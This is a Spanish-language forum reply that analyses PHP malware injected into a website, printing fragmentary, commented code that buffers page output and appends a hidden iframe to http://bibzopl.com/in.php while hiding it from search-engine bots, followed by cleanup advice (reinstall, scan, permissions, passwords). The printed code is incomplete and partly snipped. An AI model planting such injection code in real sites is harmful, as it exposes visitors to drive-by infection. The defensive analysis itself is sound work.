Por lo que veo es un malware. El código del hack, con las variables sin ofuscar:
Código
// Since this hack depends upon the ob_start() function, it does nothing if // ob_start() is not defined. The 'mr_no' global is a flag to ensure we only run // this code once per page. // Set flag to indicate we've already added the hack code. $GLOBALS['mr_no'] = 1; // Another duplication check // Define the gml() function, which returns the string with the malicious code // gml() returns malicious javascript code -unless- the requester is // Google or Yahoo. It doesn't want the bots to see the hack because // they'll take action on it. Here is the malicious javascript code in // unescaped form: // document.write('<iframe src="http://bibzopl.com/in.php" width=1 height=1 frameborder=0></iframe>'); function gml() { return '<script language="javascript">eval(unescape("%64%6F% [...snipped...] %29%3B"))</script>'; } return ""; } } // Ensure there is a gzdecode function. Since gzdecode is a PHP 6 function, // we will almost always use this version. Note that this version differs // from the PHP 6 version in that it just returns the input string if the // string is not already gzip encoded. Thus, in PHP 6, this hack is broken // for gzip encoded pages. function gzdecode($input_str) { // Assume it is gzip encoded and set the gzinflate start position accordingly $start_pos = 10; $unused_var = 0; if ($ascii_third_char & 4) { $tmp = $tmp[1]; $start_pos += 2 + $tmp; } if($ascii_third_char & 8) { } if($ascii_third_char & 16) { } if($ascii_third_char & 2) { $start_pos += 2; } // Now unzip the input string. If it fails, we assume the input string // is not compressed and just return the original input string. if($retval === FALSE) { $retval = $input_str; } return $retval; } } // This function takes the un-hacked page output and inserts // the malicious code. It is configured by ob_start(), and is // called with the buffered page text as input. function mrobh($page_output) { // We are sending the output in plain text, so be sure to change the // content encoding to indicate that. // If the output is compressed, unzip it $hacked_output = gzdecode($page_output); // Append the malicious code at the end of the page, or just before the // HTML </body> tag (if one exists) } else { return $hacked_output . gml(); } } // This statement forces output to be buffered and tells the PHP // processor to call the mrobh() function (defined above) when // page processing is complete. } }
Por lo que se ve lo que hace es ejecutar un frame como output en html, de un script en un sitio web.
Y al parecer es un troyano, lo que sugiero es, limpiar todo el sitio web, eliminando todo, y reinstalando todo, ya que pueden haber backdoors y sería nuevamente infectado el sitio.
Contacta con tu proveedor para que escaneen el servidor, y haz los respectivos cambios de seguridad, en htaccess por ejemplo, protegiendo los directorios, asignando correctamente los permisos, cambiando passwords.
Un saludo!



!
se las comparto:




